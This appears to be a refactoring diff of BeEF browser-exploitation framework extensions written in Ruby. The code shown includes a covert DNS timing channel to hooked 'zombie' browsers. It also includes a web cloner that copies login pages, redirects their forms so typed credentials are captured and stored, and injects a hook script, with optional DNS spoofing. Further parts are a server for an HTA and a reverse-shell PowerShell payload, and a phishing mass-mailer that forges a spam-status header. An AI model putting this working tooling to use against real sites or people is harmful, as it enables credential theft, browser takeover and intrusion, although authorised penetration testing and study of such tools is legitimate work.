include Singleton
attr_accessor :messages
def initialize()
def initialize
super()
@lock = Mutex.new
end
@@ -50,12 +48,11 @@ module BeEF
Thread.new do
EventMachine.next_tick do
listen = options[:listen] || nil
super(:listen => listen)
super(listen: listen)
@selfip = options[:listen][0][1]
@zone = options[:zone]
@messages = {}
end
end
end
@@ -66,11 +63,11 @@ module BeEF
# @param name [String] name of the resource record being looked up
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
def process(name,resource,transaction)
def process(name, resource, transaction)
@lock.synchronize do
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/)
transaction.fail!(:Refused,@zone)
if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/)
transaction.fail!(:Refused, @zone)
return
end
@@ -78,25 +75,26 @@ module BeEF
cid = name.split('.')[2].split('-')[2].to_i
bit = name.split('.')[2].split('-')[3].to_i(16)
if @messages[cid] != nil
message = @messages[cid]
else
transaction.fail!(:NXDomain,@zone)
if @messages[cid].nil?
transaction.fail!(:NXDomain, @zone)
return
else
message = @messages[cid]
end
if message.length <= bit
transaction.fail!(:NXDomain,@zone)
transaction.fail!(:NXDomain, @zone)
return
end
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
if message[bit] == '1'
case message[bit]
when '1'
transaction.respond!(@selfip)
return
# If the bit is equal to 0 we should return NXDomain message
elsif message[bit] == '0'
transaction.fail!(:NXDomain,@zone)
when '0'
transaction.fail!(:NXDomain, @zone)
return
end
end
@@ -111,7 +109,6 @@ module BeEF
def format_resource(resource)
/::(\w+)$/.match(resource.name)[1]
end
end
end
end

View File

@@ -6,13 +6,11 @@
module BeEF
module Extension
module ServerClientDnsTunnel
extend BeEF::API::Extension
@short_name = 'S2C DNS Tunnel'
@full_name = 'Server-to-Client DNS Tunnel'
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' +
@description = 'This extension provides a custom BeEF DNS server and HTTP server ' \
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
end
end
end

View File

@@ -1,22 +1,19 @@
module BeEF
module Extension
module ServerClientDnsTunnel
class Httpd < Sinatra::Base
def initialize(domain)
super()
@domain = domain
end
get "/map" do
get '/map' do
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
path = File.dirname(__FILE__)
send_file File.join(path, 'pixel.jpg')
end
end
end
end
end
end

View File

@@ -5,13 +5,12 @@
#
module BeEF
module Extension
module RegisterSEngHandler
def self.mount_handler(server)
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new)
server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new)
end
end
@@ -36,15 +35,7 @@ require 'extensions/social_engineering/powershell/bind_powershell'
# Models
require 'extensions/social_engineering/models/web_cloner'
require 'extensions/social_engineering/models/interceptor'
#require 'extensions/social_engineering/models/mass_mailer'
# require 'extensions/social_engineering/models/mass_mailer'
# RESTful api endpoints
require 'extensions/social_engineering/rest/socialengineering'

View File

@@ -13,8 +13,8 @@ module BeEF
def initialize
@config = BeEF::Core::Configuration.instance
@config_prefix = "beef.extension.social_engineering.mass_mailer"
@templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/"
@config_prefix = 'beef.extension.social_engineering.mass_mailer'
@templates_dir = "#{File.expand_path('../../../extensions/social_engineering/mass_mailer/templates', __dir__)}/"
@user_agent = @config.get("#{@config_prefix}.user_agent")
@host = @config.get("#{@config_prefix}.host")
@@ -31,10 +31,10 @@ module BeEF
# create new SSL context and disable CA chain validation
if @config.get("#{@config_prefix}.use_tls")
@ctx = OpenSSL::SSL::SSLContext.new
if not @config.get("#{@config_prefix}.verify_ssl")
unless @config.get("#{@config_prefix}.verify_ssl")
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
end
@ctx.ssl_version = "TLSv1"
@ctx.ssl_version = 'TLSv1'
end
n = tos_hash.size
@@ -75,27 +75,26 @@ module BeEF
boundary = "------------#{random_string(24)}"
rel_boundary = "------------#{random_string(24)}"
header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary)
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
rel_header = email_related(rel_boundary)
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary)
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template), rel_boundary)
images = ""
images = ''
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary)
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}", rel_boundary)
end
attachments = ""
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil
attachments = ''
unless @config.get("#{@config_prefix}.templates.#{template}.attachments").nil?
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary)
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}", rel_boundary)
end
end
close = email_close(boundary)
rescue => e
print_error "Error constructing email."
rescue StandardError => e
print_error 'Error constructing email.'
raise
end
@@ -105,122 +104,115 @@ module BeEF
end
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)
headers = <<EOF
From: "#{fromname}" <#{from}>
Reply-To: "#{fromname}" <#{from}>
Return-Path: "#{fromname}" <#{from}>
X-Mailer: #{user_agent}
To: #{to}
Message-ID: <#{msg_id}@#{@host}>
X-Spam-Status: No, score=0.001 required=5
Subject: #{subject}
MIME-Version: 1.0
Content-Type: multipart/alternative;
<<~EOF
From: "#{fromname}" <#{from}>
Reply-To: "#{fromname}" <#{from}>
Return-Path: "#{fromname}" <#{from}>
X-Mailer: #{user_agent}
To: #{to}
Message-ID: <#{msg_id}@#{@host}>
X-Spam-Status: No, score=0.001 required=5
Subject: #{subject}
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=#{boundary}
This is a multi-part message in MIME format.
--#{boundary}
EOF
headers
This is a multi-part message in MIME format.
--#{boundary}
EOF
end
def email_plain_body(plain_text, boundary)
plain_body = <<EOF
Content-Type: text/plain; charset="utf8"
Content-Transfer-Encoding:8bit
<<~EOF
Content-Type: text/plain; charset="utf8"
Content-Transfer-Encoding:8bit
#{plain_text}
#{plain_text}
--#{boundary}
EOF
plain_body
--#{boundary}
EOF
end
def email_related(rel_boundary)
related = <<EOF
Content-Type: multipart/related;
<<~EOF
Content-Type: multipart/related;
boundary="#{rel_boundary}"
--#{rel_boundary}
EOF
related
--#{rel_boundary}
EOF
end
def email_html_body(html_body, rel_boundary)
html_body = <<EOF
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
<<~EOF
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
#{html_body}
--#{rel_boundary}
EOF
html_body
#{html_body}
--#{rel_boundary}
EOF
end
def email_add_image(name, path, rel_boundary)
file_encoded = [File.read(path)].pack("m") # base64 encoded
image = <<EOF
Content-Type: #{get_mime(path)};
file_encoded = [File.read(path)].pack('m') # base64 encoded
<<~EOF
Content-Type: #{get_mime(path)};
name="#{name}"
Content-Transfer-Encoding: base64
Content-ID: <#{name}>
Content-Disposition: inline;
Content-Transfer-Encoding: base64
Content-ID: <#{name}>
Content-Disposition: inline;
filename="#{name}"
#{file_encoded}
--#{rel_boundary}
EOF
image
#{file_encoded}
--#{rel_boundary}
EOF
end
def email_add_attachment(name, path, rel_boundary)
file_encoded = [File.read(path)].pack("m") # base64 encoded
image = <<EOF
Content-Type: #{get_mime(path)};
file_encoded = [File.read(path)].pack('m') # base64 encoded
<<~EOF
Content-Type: #{get_mime(path)};
name="#{name}"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="#{name}"
#{file_encoded}
--#{rel_boundary}
EOF
image
#{file_encoded}
--#{rel_boundary}
EOF
end
def email_close(boundary)
close = <<EOF
--#{boundary}--
EOF
close
<<~EOF
--#{boundary}--
EOF
end
# Replaces placeholder values from the plain/html email templates
def parse_template(name, link, linktext, template_path, template)
result = ""
result = ''
img_config = "#{@config_prefix}.templates.#{template}.images_cids"
img_count = 0
File.open(template_path, 'r').each do |line|
# change the Recipient name
if line.include?("__name__")
result += line.gsub("__name__",name)
if line.include?('__name__')
result += line.gsub('__name__', name)
# change the link/linktext
elsif line.include?("__link__")
if line.include?("__linktext__")
result += line.gsub("__link__",link).gsub("__linktext__",linktext)
elsif line.include?('__link__')
result += if line.include?('__linktext__')
line.gsub('__link__', link).gsub('__linktext__', linktext)
else
result += line.gsub("__link__",link)
line.gsub('__link__', link)
end
# change images cid/name/alt
elsif line.include?("src=\"cid:__")
elsif line.include?('src="cid:__')
img_count += 1
if line.include?("name=\"img__") || line.include?("alt=\"__img")
result += line.gsub("__cid#{img_count}__",
result += if line.include?('name="img__') || line.include?('alt="__img')
line.gsub("__cid#{img_count}__",
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
@config.get("#{img_config}.cid#{img_count}"))
else
result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}"))
line.gsub("__cid#{img_count}__", @config.get("#{img_config}.cid#{img_count}"))
end
else
result += line
@@ -230,18 +222,17 @@ EOF
end
def get_mime(file_path)
result = ""
IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io|
result = io.readlines.first.split(";").first
result = ''
IO.popen(['file', '--mime', '-b', file_path.to_s], 'r+') do |io|
result = io.readlines.first.split(';').first
end
result
end
def random_string(length)
output = (0..length).map{ rand(36).to_s(36).upcase }.join
output = (0..length).map { rand(36).to_s(36).upcase }.join
end
end
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class Interceptor < BeEF::Core::Model
belongs_to :webcloner
end
end
end
end

View File

@@ -6,11 +6,8 @@
module BeEF
module Core
module Models
class Massmailer < BeEF::Core::Model
end
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class WebCloner < BeEF::Core::Model
has_many :interceptors
end
end
end
end

View File

@@ -6,7 +6,6 @@
module BeEF
module Extension
module SocialEngineering
#
# NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that)
# NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that)
@@ -27,7 +26,7 @@ module BeEF
# serves the HTML Application (HTA)
get '/hta' do
response['Content-Type'] = "application/hta"
response['Content-Type'] = 'application/hta'
@config = BeEF::Core::Configuration.instance
beef_url_str = @config.beef_url_str
ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
@@ -43,7 +42,7 @@ module BeEF
# serves the powershell payload after modifying LHOST/LPORT
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
get '/ps.png' do
response['Content-Type'] = "text/plain"
response['Content-Type'] = 'text/plain'
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
@@ -51,9 +50,7 @@ module BeEF
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
ps_payload = ''
if File.exist?(ps_payload_path)
ps_payload = File.read(ps_payload_path).gsub("___LHOST___", @ps_lhost).gsub("___LPORT___", @ps_port)
end
ps_payload = File.read(ps_payload_path).gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port) if File.exist?(ps_payload_path)
ps_payload
end
end

View File

@@ -8,12 +8,11 @@ module BeEF
module Extension
module SocialEngineering
class SEngRest < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -33,19 +32,19 @@ module BeEF
request.body.rewind
begin
body = JSON.parse request.body.read
uri = body["url"]
mount = body["mount"]
use_existing = body["use_existing"]
dns_spoof = body["dns_spoof"]
uri = body['url']
mount = body['mount']
use_existing = body['use_existing']
dns_spoof = body['dns_spoof']
if uri != nil && mount != nil
if (uri =~ URI::regexp).nil? #invalid URI
print_error "Invalid URI"
if !uri.nil? && !mount.nil?
if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
print_error 'Invalid URI'
halt 401
end
if !mount[/^\//] # mount needs to start with /
print_error "Invalid mount (need to be a relative path, and start with / )"
unless mount[%r{^/}] # mount needs to start with /
print_error 'Invalid mount (need to be a relative path, and start with / )'
halt 401
end
@@ -54,19 +53,18 @@ module BeEF
if success
result = {
"success" => true,
"mount" => mount
'success' => true,
'mount' => mount
}.to_json
else
result = {
"success" => false
'success' => false
}.to_json
halt 500
end
end
rescue => e
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
rescue StandardError
print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page'
error 400 # Bad Request
end
end
@@ -74,7 +72,7 @@ module BeEF
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
#-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
# Example json_body:
#{
# {
# "template": "default",
# "subject": "Hi from BeEF",
# "fromname": "BeEF",
@@ -84,31 +82,31 @@ module BeEF
# "recipients": [{
# "user1@gmail.com": "Michele",
# "user2@antisnatchor.com": "Antisnatchor"
#}]
#}
# }]
# }
post '/send_mails' do
request.body.rewind
begin
body = JSON.parse request.body.read
template = body["template"]
subject = body["subject"]
fromname = body["fromname"]
fromaddr = body["fromaddr"]
link = body["link"]
linktext = body["linktext"]
template = body['template']
subject = body['subject']
fromname = body['fromname']
fromaddr = body['fromaddr']
link = body['link']
linktext = body['linktext']
if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil?
print_error "All parameters are mandatory."
print_error 'All parameters are mandatory.'
halt 401
end
if (link =~ URI::regexp).nil? #invalid URI
print_error "Invalid link or linktext"
if (link =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
print_error 'Invalid link or linktext'
halt 401
end
recipients = body["recipients"][0]
recipients = body['recipients'][0]
recipients.each do |email, name|
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
@@ -116,20 +114,19 @@ module BeEF
halt 401
end
end
rescue => e
print_error "Invalid JSON input passed to endpoint /api/seng/send_emails"
rescue StandardError
print_error 'Invalid JSON input passed to endpoint /api/seng/send_emails'
error 400
end
begin
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients)
rescue => e
print_error "Invalid mailer configuration"
rescue StandardError => e
print_error "Mailer send_email failed: #{e.message}"
error 400
end
end
end
end
end

View File

@@ -8,13 +8,12 @@ module BeEF
module SocialEngineering
require 'sinatra/base'
class Interceptor < Sinatra::Base
configure do
set :show_exceptions, false
end
# intercept GET
get "/" do
get '/' do
print_info "GET request from IP #{request.ip}"
print_info "Referer: #{request.referer}"
cloned_page = settings.cloned_page
@@ -22,25 +21,25 @@ module BeEF
end
# intercept POST
post "/" do
post '/' do
print_info "POST request from IP #{request.ip}"
request.body.rewind
data = request.body.read
print_info "Intercepted data:"
print_info 'Intercepted data:'
print_info data
interceptor_db = BeEF::Core::Models::Interceptor.new(
:webcloner_id => settings.db_entry.id,
:post_data => data,
:ip => request.ip
webcloner_id: settings.db_entry.id,
post_data: data,
ip: request.ip
)
interceptor_db.save
if settings.frameable
print_info "Page can be framed :-) Loading original URL into iFrame..."
print_info 'Page can be framed :-) Loading original URL into iFrame...'
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
else
print_info "Page can not be framed :-) Redirecting to original URL..."
print_info 'Page can not be framed :-) Redirecting to original URL...'
redirect settings.redirect_to
end
end
@@ -48,4 +47,3 @@ module BeEF
end
end
end

View File

@@ -13,8 +13,8 @@ module BeEF
def initialize
@http_server = BeEF::Core::Server.instance
@config = BeEF::Core::Configuration.instance
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
@beef_hook = "#{@config.hook_url}"
@cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/"
@beef_hook = @config.hook_url.to_s
end
def clone_page(url, mount, use_existing, dns_spoof)
@@ -35,33 +35,31 @@ module BeEF
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
#
if use_existing.nil? || use_existing == false
begin #,"--background"
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
cmd << "--no-check-certificate"
end
begin
cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']
cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
print_debug "Running command: #{cmd.join(' ')}"
IO.popen(cmd, 'r+') do |wget_io|
end
success = true
rescue Errno::ENOENT => e
rescue Errno::ENOENT
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
rescue => e
rescue StandardError => e
print_error "Errors executing wget: #{e}"
end
if success
File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|
File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
if line.include?("<form ") || line.include?("<FORM ")
line_attrs = line.split(" ")
if line.include?('<form ') || line.include?('<FORM ')
line_attrs = line.split(' ')
c = 0
cc = 0
#todo: probably doable also with map!
# TODO: probably doable also with map!
# modify the form 'action' attribute
line_attrs.each do |attr|
if attr.include? "action=\""
if attr.include? 'action="'
print_info "Form action found: #{attr}"
break
end
@@ -69,24 +67,24 @@ module BeEF
end
line_attrs[c] = "action=\"#{mount}\""
#todo: to be tested, needed in case like yahoo
# TODO: to be tested, needed in case like yahoo
# delete the form 'onsubmit' attribute
#line_attrs.each do |attr|
# line_attrs.each do |attr|
# if attr.include? "onsubmit="
# print_info "Form onsubmit event found: #{attr}"
# break
# end
# cc += 1
#end
#line_attrs[cc] = ""
# end
# line_attrs[cc] = ""
mod_form = line_attrs.join(" ")
print_info "Form action value changed in order to be intercepted :-D"
mod_form = line_attrs.join(' ')
print_info 'Form action value changed in order to be intercepted :-D'
out_file.print mod_form
# Add the BeEF hook
elsif (line.include?("</head>") || line.include?("</HEAD>")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
out_file.print add_beef_hook(line)
print_info "BeEF hook added :-D"
print_info 'BeEF hook added :-D'
else
out_file.print line
end
@@ -95,24 +93,24 @@ module BeEF
end
end
if File.size("#{@cloned_pages_dir + output}") > 0
if File.size((@cloned_pages_dir + output).to_s).zero?
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
return false
end
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
# if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path.
# then the phishing link can be used anyway with all the proper parameters to looks legit.
if mount.include?("?")
mount = mount.split("?").first
print_info "Normalizing mount point. You can still use params for the phishing link."
end
# Check if the original URL can be framed
frameable = is_frameable(url)
# Split the URL mounting only the path and ignoring the query string.
# If the user wants to clone http://example.local/login.jsp?example=123&test=456
# then the phishing link can be used anyway with all the proper parameters to look legit.
mount = mount.split('?').first if mount.include?('?')
mount = mount.split(';').first if mount.include?(';')
interceptor = BeEF::Extension::SocialEngineering::Interceptor
interceptor.set :redirect_to, url
interceptor.set :frameable, frameable
interceptor.set :frameable, url_is_frameable?(url)
interceptor.set :beef_hook, @beef_hook
interceptor.set :cloned_page, get_page_content(file_path)
interceptor.set :db_entry, persist_page(url, mount)
@@ -125,74 +123,73 @@ module BeEF
ipv6.gsub!(/%\w*$/, '')
domain = url.gsub(%r{^http://}, '')
unless ipv4.nil?
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::A,
:response => ipv4
) unless ipv4.nil?
pattern: domain,
resource: Resolv::DNS::Resource::IN::A,
response: ipv4
)
end
unless ipv6.nil?
dns.add_rule(
:pattern => domain,
:resource => Resolv::DNS::Resource::IN::AAAA,
:response => ipv6
) unless ipv6.nil?
pattern: domain,
resource: Resolv::DNS::Resource::IN::AAAA,
response: ipv6
)
end
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
end
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.mount("#{mount}", interceptor.new)
@http_server.mount(mount.to_s, interceptor.new)
@http_server.remap
success = true
else
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
success = false
end
success
true
end
private
# Replace </head> with <BeEF_hook></head>
def add_beef_hook(line)
if line.include?("</head>")
line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
# @todo why is this an inline replace? and why is the second branch empty?
if line.include?('</head>')
line.gsub!('</head>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
elsif line.gsub!('</HEAD>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
end
line
end
private
# check if the original URL can be framed. NOTE: doesn't check for framebusting code atm
def is_frameable(url)
result = true
begin
# Check if the URL X-Frame-Options header allows the page to be framed.
# @todo check for framebusting JS code
# @todo check CSP
def url_is_frameable?(url)
uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
if uri.scheme == 'https'
http.use_ssl = true
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
end
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
frame_opt = response["X-Frame-Options"]
frame_opt = response['X-Frame-Options']
if frame_opt != nil
if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0
result = false
# @todo why is this using casecmp?
if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)
print_info "URL can be framed: #{url}"
return true
end
end
print_info "Page can be framed: [#{result}]"
rescue => e
result = false
print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]"
print_info "URL cannot be framed: #{url}"
false
rescue StandardError => e
print_error "Unable to determine if URL can be framed: #{url}"
print_debug e
#print_debug e.backtrace
end
result
# print_debug e.backtrace
false
end
def get_page_content(file_path)
@@ -204,15 +201,13 @@ module BeEF
def persist_page(uri, mount)
webcloner_db = BeEF::Core::Models::WebCloner.new(
:uri => uri,
:mount => mount
uri: uri,
mount: mount
)
webcloner_db.save
webcloner_db
end
end
end
end
end

View File

@@ -6,13 +6,11 @@
module BeEF
module Extension
module WebRTC
require 'base64'
# This class handles the routing of RESTful API requests that manage the
# WebRTC Extension
class WebRTCRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -41,76 +39,77 @@ module BeEF
# longer required as client-debugging uses the beef.debug)
#
# +++ Example: +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2}
# {"from":1, "to":2}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with verbosity on the client-side +++
#POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/go?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "verbose": true}
# {"from":1, "to":2, "verbose": true}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X POST -d '{"from":1,"to":2,"verbose":true}'
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
post '/go' do
begin
body = JSON.parse(request.body.read)
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
verbose = body['verbose']
result = {}
unless [fromhb,tohb].include?(nil)
if verbose == nil
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
else
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i,true)
result['success'] = true
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
result['success'] = true
end
end
r = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => fromhb.to_i,
:target_hooked_browser_id => tohb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r.save
r2 = BeEF::Core::Models::Rtcstatus.new(:hooked_browser_id => tohb.to_i,
:target_hooked_browser_id => fromhb.to_i,
:status => "Initiating..",
:created_at => Time.now,
:updated_at => Time.now)
r2.save
else
if [fromhb, tohb].include?(nil)
result['success'] = false
return result.to_json
end
result.to_json
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true)
else
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
end
r = BeEF::Core::Models::Rtcstatus.new(
hooked_browser_id: fromhb.to_i,
target_hooked_browser_id: tohb.to_i,
status: 'Initiating..',
created_at: Time.now,
updated_at: Time.now
)
r.save
r2 = BeEF::Core::Models::Rtcstatus.new(
hooked_browser_id: tohb.to_i,
target_hooked_browser_id: fromhb.to_i,
status: 'Initiating..',
created_at: Time.now,
updated_at: Time.now
)
r2.save
result['success'] = true
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -118,7 +117,6 @@ module BeEF
print_error "Internal error while initiating RTCPeerConnections .. (#{e.message})"
halt 500
end
end
#
# @note Get the RTCstatus of a particular browser (and its peers)
@@ -126,27 +124,25 @@ module BeEF
# for success messages. For instance: Event: Browser:1 received message from Browser:2: Status checking - allgood: true
#
# +++ Example: +++
#GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
# GET /api/webrtc/status/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/status/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/status/:id' do
begin
id = params[:id]
BeEF::Core::Models::Rtcmanage.status(id.to_i)
result = {}
result['success'] = true
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -154,30 +150,28 @@ module BeEF
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
end
#
# @note Get the events from the RTCstatus model of a particular browser
# Return JSON with events_count and an array of events
#
# +++ Example: +++
#GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
# GET /api/webrtc/events/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
